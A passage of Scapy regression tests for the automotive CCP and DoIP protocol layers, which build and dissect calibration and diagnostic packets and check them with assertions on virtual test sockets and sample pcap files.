b'\x00\x00\x07\x00\x08\x00\x00\x00\x14\x44\x03\x00\x01\x02\x03\x04' = Dissect DTO GET_DAQ_SIZE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x44\x10\x08\xff\xff\xff') assert dto.ctr == 68 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x10\x08\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 68 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.DAQ_list_size == 16 assert dto.first_pid == 8 assert dto.ccp_reserved == b"\xff\xff\xff" = Build CRO SET_DAQ_PTR cro = CCP(identifier=0x700)/CRO(ctr=0x45)/SET_DAQ_PTR(DAQ_num=3, ODT_num=5, ODT_element=2) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x45 assert cro.cmd == 0x15 assert cro.DAQ_num == 0x03 assert cro.ODT_num == 5 assert cro.ODT_element == 2 assert cro.ccp_reserved == b"\xff\xff\xff" assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x15\x45\x03\x05\x02\xff\xff\xff' = Dissect DTO SET_DAQ_PTR dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x45\xff\xff\xff\xff\xff') assert dto.ctr == 69 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 69 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO WRITE_DAQ cro = CCP(identifier=0x700)/CRO(ctr=0x46)/WRITE_DAQ(DAQ_size=2, address_extension=1, address=0x2004200) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x46 assert cro.cmd == 0x16 assert cro.DAQ_size == 0x02 assert cro.address_extension == 1 assert cro.address == 0x2004200 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x16\x46\x02\x01\x02\x00\x42\x00' = Dissect DTO WRITE_DAQ dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x46\xff\xff\xff\xff\xff') assert dto.ctr == 70 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 70 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO START_STOP cro = CCP(identifier=0x700)/CRO(ctr=0x47)/START_STOP(mode=1, DAQ_num=3, ODT_num=7, event_channel=2, transmission_rate=1) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x47 assert cro.cmd == 0x06 assert cro.mode == 0x01 assert cro.DAQ_num == 3 assert cro.event_channel == 2 assert cro.transmission_rate == 1 assert cro.ODT_num == 7 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x06\x47\x01\x03\x07\x02\x00\x01' = Dissect DTO START_STOP dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x47\xff\xff\xff\xff\xff') assert dto.ctr == 71 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 71 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO DISCONNECT cro = CCP(identifier=0x700)/CRO(ctr=0x48)/DISCONNECT(type="temporary", station_address=0x208) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x48 assert cro.cmd == 0x07 assert cro.type == 0x00 assert cro.station_address == 0x208 assert cro.ccp_reserved0 == b"\xff" assert cro.ccp_reserved == b"\xff" * 2 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x07\x48\x00\xff\x08\x02\xff\xff' = Dissect DTO DISCONNECT dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x48\xff\xff\xff\xff\xff') assert dto.ctr == 72 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 72 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO SET_S_STATUS cro = CCP(identifier=0x700)/CRO(ctr=0x49)/SET_S_STATUS(session_status="RUN+CAL") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x49 assert cro.cmd == 0x0c assert cro.session_status == 0x81 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0c\x49\x81\xff\xff\xff\xff\xff' = Dissect DTO SET_S_STATUS dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x49\xff\xff\xff\xff\xff') assert dto.ctr == 73 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 73 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO GET_S_STATUS cro = CCP(identifier=0x700)/CRO(ctr=0x4a)/GET_S_STATUS() assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x4a assert cro.cmd == 0x0D assert cro.ccp_reserved == b"\xff" * 6 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0d\x4a\xff\xff\xff\xff\xff\xff' = Dissect DTO GET_S_STATUS dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x4a\x81\xff\xff\xff\xff') assert dto.ctr == 74 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x81\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 74 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.session_status == 0x81 assert dto.information_qualifier == 0xff assert dto.information == b"\xff" * 3 = Build CRO BUILD_CHKSUM cro = CCP(identifier=0x700)/CRO(ctr=0x50)/BUILD_CHKSUM(size=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x50 assert cro.cmd == 0x0e assert cro.size == 0x8000 assert cro.ccp_reserved == b"\xff" * 2 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x0e\x50\x00\x00\x80\x00\xff\xff' = Dissect DTO BUILD_CHKSUM dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x50\x02\x12\x34\xff\xff') assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x12\x34\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.checksum_size == 2 assert dto.checksum_data == b'\x12\x34' assert dto.ccp_reserved == b'\xff\xff' = Dissect DTO BUILD_CHKSUM2 dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x50\x04\x12\x34\x56\x78') assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x04\x12\x34\x56\x78' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 80 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.checksum_size == 4 assert dto.checksum_data == b'\x12\x34\x56\x78' assert dto.ccp_reserved == b'' = Build CRO CLEAR_MEMORY cro = CCP(identifier=0x700)/CRO(ctr=0x51)/CLEAR_MEMORY(size=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x51 assert cro.cmd == 0x10 assert cro.size == 0x8000 assert cro.ccp_reserved == b"\xff" * 2 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x10\x51\x00\x00\x80\x00\xff\xff' = Dissect DTO CLEAR_MEMORY dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x51\xff\xff\xff\xff\xff') assert dto.ctr == 81 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 81 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO PROGRAM cro = CCP(identifier=0x700)/CRO(ctr=0x52)/PROGRAM(size=0x3, data=b"\x10\x11\x12") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x52 assert cro.cmd == 0x18 assert cro.size == 0x3 assert cro.data == b"\x10\x11\x12" assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x18\x52\x03\x10\x11\x12\xff\xff' = Dissect DTO PROGRAM dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x52\x02\x34\x00\x20\x03') assert dto.ctr == 82 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x34\x00\x20\x03' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 82 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002003 = Build CRO PROGRAM_6 cro = CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x53 assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x22\x53\x10\x11\x12\x10\x11\x12' = Dissect DTO PROGRAM_6 dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x53\x02\x34\x00\x20\x06') assert dto.ctr == 83 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x34\x00\x20\x06' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 83 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002006 = Build CRO MOVE cro = CCP(identifier=0x700)/CRO(ctr=0x54)/MOVE(size=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x54 assert cro.cmd == 0x19 assert cro.size == 0x8000 assert cro.ccp_reserved == b'\xff\xff' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x19\x54\x00\x00\x80\x00\xff\xff' = Dissect DTO MOVE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x54\xff\xff\xff\xff\xff') assert dto.ctr == 84 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 84 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True = Build CRO DIAG_SERVICE cro = CCP(identifier=0x700)/CRO(ctr=0x55)/DIAG_SERVICE(diag_service=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x55 assert cro.cmd == 0x20 assert cro.diag_service == 0x8000 assert cro.ccp_reserved == b'\xff\xff\xff\xff' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x20\x55\x80\x00\xff\xff\xff\xff' = Dissect DTO DIAG_SERVICE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x55\x20\x00\xff\xff\xff') assert dto.ctr == 85 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x20\x00\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 85 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data_length == 0x20 assert dto.data_type == 0x00 assert dto.ccp_reserved == b"\xff\xff\xff" = Build CRO ACTION_SERVICE cro = CCP(identifier=0x700)/CRO(ctr=0x56)/ACTION_SERVICE(action_service=0x8000) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x56 assert cro.cmd == 0x21 assert cro.action_service == 0x8000 assert cro.ccp_reserved == b'\xff\xff\xff\xff' assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x21\x56\x80\x00\xff\xff\xff\xff' = Dissect DTO ACTION_SERVICE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x56\x20\x00\xff\xff\xff') assert dto.ctr == 86 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x20\x00\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 86 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.data_length == 0x20 assert dto.data_type == 0x00 assert dto.ccp_reserved == b"\xff\xff\xff" = Build CRO TEST cro = CCP(identifier=0x700)/CRO(ctr=0x60)/TEST(station_address=0x80) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x60 assert cro.cmd == 0x05 assert cro.station_address == 0x80 assert cro.ccp_reserved == b"\xff" * 4 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x05\x60\x80\x00\xff\xff\xff\xff' = Dissect DTO TEST dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x60\xff\xff\xff\xff\xff') assert dto.ctr == 96 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 96 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO START_STOP_ALL cro = CCP(identifier=0x700)/CRO(ctr=0x61)/START_STOP_ALL(type="start") assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x61 assert cro.cmd == 0x08 assert cro.type == 0x01 assert cro.ccp_reserved == b"\xff" * 5 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x08\x61\x01\xff\xff\xff\xff\xff' = Dissect DTO START_STOP_ALL dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x61\xff\xff\xff\xff\xff') assert dto.ctr == 97 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\xff\xff\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 97 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == True assert dto.load == b'\xff\xff\xff\xff\xff' = Build CRO GET_ACTIVE_CAL_PAGE cro = CCP(identifier=0x700)/CRO(ctr=0x62)/GET_ACTIVE_CAL_PAGE() assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x62 assert cro.cmd == 0x09 assert cro.ccp_reserved == b"\xff" * 6 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x09\x62\xff\xff\xff\xff\xff\xff' = Dissect DTO GET_ACTIVE_CAL_PAGE dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x62\x01\x11\x44\x77\x22') assert dto.ctr == 98 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x01\x11\x44\x77\x22' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 98 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.address_extension == 1 assert dto.address == 0x11447722 = Build CRO GET_CCP_VERSION cro = CCP(identifier=0x700)/CRO(ctr=0x63)/GET_CCP_VERSION(main_protocol_version=2, release_version=1) assert cro.identifier == 0x700 assert cro.length == 8 assert cro.flags == 0 assert cro.ctr == 0x63 assert cro.cmd == 0x1b assert cro.main_protocol_version == 2 assert cro.release_version == 1 assert cro.ccp_reserved == b"\xff" * 4 assert bytes(cro) == b'\x00\x00\x07\x00\x08\x00\x00\x00\x1b\x63\x02\x01\xff\xff\xff\xff' assert dto.hashret() != cro.hashret() assert not dto.answers(cro) = Dissect DTO GET_CCP_VERSION dto = CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x63\x02\x01\xff\xff\xff') assert dto.ctr == 99 assert dto.packet_id == 0xff assert dto.return_code == 0 assert dto.load == b'\x02\x01\xff\xff\xff' # answers will interpret payload assert dto.answers(cro) assert dto.ctr == 99 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.main_protocol_version == 2 assert dto.release_version == 1 assert dto.ccp_reserved == b"\xff" * 3 assert dto.hashret() == cro.hashret() + Tests on a virtual CAN-Bus = CAN Socket sr1 with dto.answers(cro) == True sock1 = TestSocket(CCP) sock2 = TestSocket(CAN) sock1.pair(sock2) def answer(pkt): cro = CRO(pkt.data) assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x53\x02\x34\x00\x20\x06')) sniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=answer) sniffer.start() dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x53)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1, verbose=False) sniffer.join(timeout=5) sock1.close() sock2.close() assert dto.ctr == 83 assert dto.packet_id == 0xff assert dto.return_code == 0 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 2 assert dto.MTA0_address == 0x34002006 = CAN Socket sr1 with dto.answers(cro) == False sock1 = TestSocket(CCP) sock2 = TestSocket(CAN) sock1.pair(sock2) def answer(pkt): cro = CRO(pkt.data) assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x00\x55\x02\x34\x00\x20\x06')) sniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=answer) sniffer.start() dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x54)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=0.1, verbose=False) sniffer.join(timeout=5) sock1.close() sock2.close() assert dto is None = CAN Socket sr1 with error code sock1 = TestSocket(CCP) sock2 = TestSocket(CAN) sock1.pair(sock2) def answer(pkt): cro = CRO(pkt.data) assert cro.cmd == 0x22 assert cro.data == b"\x10\x11\x12\x10\x11\x12" sock2.send(CCP(b'\x00\x00\x07\x00\x08\x00\x00\x00\xff\x01\x55\xff\xff\xff\xff\xff')) sniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=answer) sniffer.start() dto = sock1.sr1(CCP(identifier=0x700)/CRO(ctr=0x55)/PROGRAM_6(data=b"\x10\x11\x12\x10\x11\x12"), timeout=1, verbose=False) sniffer.join(timeout=5) sock1.close() sock2.close() assert dto.ctr == 85 assert dto.packet_id == 0xff assert dto.return_code == 1 assert hasattr(dto, "load") == False assert dto.MTA0_extension == 0xff assert dto.MTA0_address == 0xffffffff + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/doip.uts ================================================ % Regression tests for the DoIP layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Doip contrib tests = Load Contrib Layer from test.testsocket import TestSocket, cleanup_testsockets, UnstableSocket load_contrib("automotive.doip", globals_dict=globals()) load_contrib("automotive.uds", globals_dict=globals()) = Defaults test p = DoIP(payload_type=1) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == None assert p.payload_type == 1 = Build test 0 p = DoIP(bytes(DoIP(payload_type=0))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 1 assert p.payload_type == 0 assert p.nack == 0 = Build test 1 p = DoIP(bytes(DoIP(payload_type=1))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 0 assert p.payload_type == 1 = Build test 2 p = DoIP(bytes(DoIP(payload_type=2))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 6 assert p.payload_type == 2 assert bytes(p.eid) == b"\x00" * 6 = Build test 3 p = DoIP(bytes(DoIP(payload_type=3))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 17 assert p.payload_type == 3 assert bytes(p.vin) == b"\x00" * 17 = Build test 4 p = DoIP(bytes(DoIP(payload_type=4))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 33 assert p.payload_type == 4 assert bytes(p.vin) == b"\x00" * 17 assert p.logical_address == 0 assert bytes(p.eid) == b"\x00" * 6 assert bytes(p.gid) == b"\x00" * 6 assert p.further_action == 0 assert p.vin_gid_status == 0 = Build test 5 p = DoIP(bytes(DoIP(payload_type=5))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 7 assert p.payload_type == 5 assert p.source_address == 0 assert p.activation_type == 0 assert p.reserved_iso == 0 assert p.reserved_oem == b"" = Build test 5.1 p = DoIP(bytes(DoIP(payload_type=5, reserved_oem=b"1234"))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 11 assert p.payload_type == 5 assert p.source_address == 0 assert p.activation_type == 0 assert p.reserved_iso == 0 p.show() print(p.reserved_oem) assert p.reserved_oem == b"1234" = Build test 5.2 p = DoIP(bytes(DoIP(payload_type=5, reserved_oem=b"12"))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 9 assert p.payload_type == 5 assert p.source_address == 0 assert p.activation_type == 0 assert p.reserved_iso == 0 assert p.reserved_oem == b"12" = Build test 6 p = DoIP(bytes(DoIP(payload_type=6))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 9 assert p.payload_type == 6 assert p.logical_address_tester == 0 assert p.logical_address_doip_entity == 0 assert p.reserved_iso == 0 assert p.reserved_oem == b"" = Build test 7 p = DoIP(bytes(DoIP(payload_type=7))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 0 assert p.payload_type == 7 = Build test 8 p = DoIP(bytes(DoIP(payload_type=8))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 2 assert p.payload_type == 8 assert p.source_address == 0 = Build test 4001 p = DoIP(bytes(DoIP(payload_type=0x4001))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 0 assert p.payload_type == 0x4001 = Build test 4002 p = DoIP(bytes(DoIP(payload_type=0x4002))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 7 assert p.payload_type == 0x4002 assert p.node_type == 0 assert p.max_open_sockets == 1 assert p.cur_open_sockets == 0 assert p.max_data_size == 0 = Build test 4003 p = DoIP(bytes(DoIP(payload_type=0x4003))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 0 assert p.payload_type == 0x4003 = Build test 4004 p = DoIP(bytes(DoIP(payload_type=0x4004))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 1 assert p.payload_type == 0x4004 assert p.diagnostic_power_mode == 0 = Build test 8001 p = DoIP(bytes(DoIP(payload_type=0x8001))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 4 assert p.payload_type == 0x8001 assert p.source_address == 0 assert p.target_address == 0 = Build test 8002 p = DoIP(bytes(DoIP(payload_type=0x8002))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 5 assert p.payload_type == 0x8002 assert p.source_address == 0 assert p.target_address == 0 assert p.ack_code == 0 assert p.previous_msg == b'' p = DoIP(bytes(DoIP(payload_type=0x8002, previous_msg=b'\x22\xfd\x32'))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 8 assert p.payload_type == 0x8002 assert p.source_address == 0 assert p.target_address == 0 assert p.ack_code == 0 assert p.previous_msg == b'\x22\xfd\x32' p = DoIP(bytes(DoIP(payload_type=0x8002, previous_msg=b'\x19\x02\x09\x9C\x00'))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 10 assert p.payload_type == 0x8002 assert p.source_address == 0 assert p.target_address == 0 assert p.ack_code == 0 assert p.previous_msg == b'\x19\x02\t\x9c\x00' p = DoIP(b'\x02\xfd\x80\x02\x00\x00\x00\x07\x00\x08\x00\x0e\x00\x10\x01') assert p.protocol_version == 0x02 assert p.inverse_version == 0xFD assert p.payload_length == 7 assert p.payload_type == 0x8002 assert p.source_address == 0x8 assert p.target_address == 0xE assert p.ack_code == 0 assert p.previous_msg == b'\x10\x01' = Build test 8003 p = DoIP(bytes(DoIP(payload_type=0x8003))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 5 assert p.payload_type == 0x8003 assert p.source_address == 0 assert p.target_address == 0 assert p.nack_code == 0 p = DoIP(bytes(DoIP(payload_type=0x8003, previous_msg=b'\x2E\xfd\x32\x01\x02'))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 10 assert p.payload_type == 0x8003 assert p.source_address == 0 assert p.target_address == 0 assert p.nack_code == 0 assert p.previous_msg == b'.\xfd2\x01\x02' p = DoIP(bytes(DoIP(payload_type=0x8003, previous_msg=b'\x19\x02\x09\x9A\x00'))) assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 10 assert p.payload_type == 0x8003 assert p.source_address == 0 assert p.target_address == 0 assert p.nack_code == 0 assert p.previous_msg == b'\x19\x02\t\x9a\x00' p = DoIP(b'\x02\xfd\x80\x03\x00\x00\x00\x07\x00\x0A\x00\x0C\x00\x10\x03') assert p.protocol_version == 0x02 assert p.inverse_version == 0xFD assert p.payload_length == 7 assert p.payload_type == 0x8003 assert p.source_address == 0xA assert p.target_address == 0xC assert p.nack_code == 0 assert p.previous_msg == b'\x10\x03' + pcap based tests = read diag_ack pcap file pkt = rdpcap(scapy_path("test/pcaps/doip_ack.pcap")).res[0] assert len(pkt) == 70 = dissect test of diag ACK with previous_msg field filled assert pkt.protocol_version == 0x02 assert pkt.inverse_version == 0xFD assert pkt.payload_length == 8 assert pkt.source_address == 0x4B assert pkt.target_address == 0xE00 assert pkt.ack_code == 0 assert pkt.previous_msg == b'\x22\xFD\x31' = read main pcap file pkts = rdpcap(scapy_path("test/pcaps/doip.pcap.gz")) ips = [p for p in pkts if p.proto == 6] assert len(ips) > 1 = dissect test of routing activation pkts req req = ips[0] p = req assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 11 assert p.payload_type == 0x5 assert p.source_address == 0xe80 assert p.activation_type == 0 assert p.reserved_iso == 0 assert p.reserved_oem == b"\x00\x00\x00\x00" = dissect test of routing activation pkts resp resp = ips[1] p = resp assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 9 assert p.payload_type == 0x6 assert p.logical_address_tester == 0xe80 assert p.logical_address_doip_entity == 0x4010 assert p.routing_activation_response == 16 assert p.reserved_iso == 0 = answers test of routing activation pkts assert resp.answers(req) assert resp.hashret() == req.hashret() = dissect diagnostic message req = ips[-4] resp = ips[-1] p = req assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 6 assert p.payload_type == 0x8001 assert p.source_address == 0xe80 assert p.target_address == 0x4010 assert bytes(p)[-2:] == bytes(UDS()/UDS_DSC(b"\x02")) assert p.service == 0x10 assert p.diagnosticSessionType == 2 p = resp assert p.protocol_version == 0x02 assert p.inverse_version == 0xfd assert p.payload_length == 10 assert p.payload_type == 0x8001 assert p.target_address == 0xe80 assert p.source_address == 0x4010 assert bytes(p)[-6:] == bytes(UDS()/UDS_DSCPR(b"\x02\x002\x01\xf4")) assert p.service == 0x50 assert p.diagnosticSessionType == 2 assert req.hashret() == resp.hashret() # exclude TCP layer from answers check assert resp[3].answers(req[3]) assert not req[3].answers(resp[3]) = TCPSession Test tmp_file = get_temp_file() wrpcap(tmp_file, [ IP(src="10.10.10.10", dst="10.10.10.11") / TCP(sport=61000, seq=1) / DoIP(payload_type=0x8001, payload_length=6) / b"\x3E", IP(src="10.10.10.10", dst="10.10.10.11") / TCP(sport=61000, dport=13400, seq=14) / Raw(load=b"\xff") ]) pkts = sniff(offline=tmp_file, session=TCPSession) assert pkts[0].haslayer(UDS_TP) assert pkts[0].service == 0x3E = TCPSession Test multiple DoIP messages filename = scapy_path("/test/pcaps/multiple_doip_layers.pcap.gz") pkts = sniff(offline=filename, session=TCPSession) print(repr(pkts[0])) print(repr(pkts[1])) assert len(pkts) == 2 assert pkts[0][DoIP].payload_length == 2 assert pkts[0][DoIP:2].payload_length == 7 assert pkts[1][DoIP].payload_length == 103 = Doip logical addressing filename = scapy_path("/test/pcaps/doip_functional_request.pcap.gz") tx_sock = TestSocket(DoIP) rx_sock = TestSocket(DoIP) tx_sock.pair(rx_sock) for pkt in PcapReader(filename): if pkt.haslayer(DoIP): 